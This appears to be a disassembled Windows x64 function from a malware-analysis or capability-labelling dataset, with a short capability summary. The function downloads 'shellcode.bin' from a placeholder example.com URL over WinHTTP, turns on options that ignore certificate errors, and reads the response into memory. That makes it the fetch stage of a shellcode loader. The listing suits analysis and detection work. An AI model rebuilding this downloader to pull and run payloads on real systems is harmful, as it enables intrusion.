Function at 0x140003ad0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rsi
push rdi
push r13
lea rbp, [rsp - 0x3e8]
sub rsp, 0x4e8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
xorps xmm0, xmm0
lea r9, [rsp + 0x50]
xor eax, eax
lea rcx, str.https:__example.com_raw_shellcode.bin
mov qword [rbp - 0x50], rax
xor r13d, r13d
lea rax, [rbp - 0x30]
mov dword [rsp + 0x40], r13d
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], rax
mov rsi, rdx
lea rax, [rbp + 0x1d0]
mov dword [rsp + 0x44], r13d
movups xmmword [rsp + 0x50], xmm0
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
mov edi, r13d
mov dword [rsp + 0x50], 0x68
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x70], 0x100
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x60], 0x100
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
jne 0x140003b86
lea rcx, [0x140006c38]
call fcn.140003a30
xor eax, eax
jmp 0x140003e7a
xor r9d, r9d
mov qword [rsp + 0x4e0], r15
xor r8d, r8d
mov dword [rsp + 0x20], r13d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
jne 0x140003bc3
lea rcx, [0x140006c70]
call fcn.140003a30
xor eax, eax
jmp 0x140003e72
movzx r8d, word [rsp + 0x74]
xor r9d, r9d
mov rdx, qword [rsp + 0x68]
mov rcx, r15
mov qword [rsp + 0x520], r12
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
jne 0x140003c06
lea rcx, [0x140006c80]
call fcn.140003a30
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x140003e6a
cmp dword [rsp + 0x64], 2
lea rdx, [0x140006c90]
mov r8, qword [rbp - 0x68]
mov eax, r13d
mov ecx, 0x800000
mov qword [rsp + 0x528], r14
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r12
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
jne 0x140003c70
lea rcx, [0x140006c98]
call fcn.140003a30
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
jmp 0x140003e62
mov r9d, 4
mov dword [rbp - 0x40], 0x3300
lea r8, [rbp - 0x40]
mov edx, 0x1f
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x140003cbf
lea rcx, [0x140006cb0]
call fcn.140003a30
xor edx, edx
mov qword [rsp + 0x510], rbx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x140003ce2
lea rcx, [0x140006cc8]
jmp 0x140003e21
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r13d
mov rcx, r14
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140003e1a
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140003e26
add eax, 1
mov ecx, eax
cmovb rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140003df9
mov r8d, dword [rsp + 0x40]
xor edx, edx
inc r8d
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140003de2
mov edx, dword [rsp + 0x44]
mov rax, 0xffffffffffffffff
add rdx, qword [rsi]
mov rcx, rdi
cmovb rdx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x140003dad
mov rcx, qword [rsi]
mov rdx, rbx
mov r8d, dword [rsp + 0x44]
add rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x44]
mov rcx, rbx
add qword [rsi], rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp dword [rsp + 0x40], r13d
jbe 0x140003e26
jmp 0x140003ce2
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Memory_allocation_failed_n
call fcn.1400039e0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rdi, rdi
je 0x140003dde
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x140003e5a
lea rcx, [0x140006d10]
call fcn.140003a30
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140003e26
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Out_of_memory_n
call fcn.1400039e0
mov dword [rsp + 0x40], r13d
jmp 0x140003e26
lea rcx, [0x140006ce0]
call fcn.140003a30
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsi], r13
jne 0x140003e57
test rdi, rdi
je 0x140003e57
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, r13
mov rax, rdi
mov rbx, qword [rsp + 0x510]
mov r14, qword [rsp + 0x528]
mov r12, qword [rsp + 0x520]
mov r15, qword [rsp + 0x4e0]
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.140003eb0
add rsp, 0x4e8
pop r13
pop rdi
pop rsi
pop rbp
ret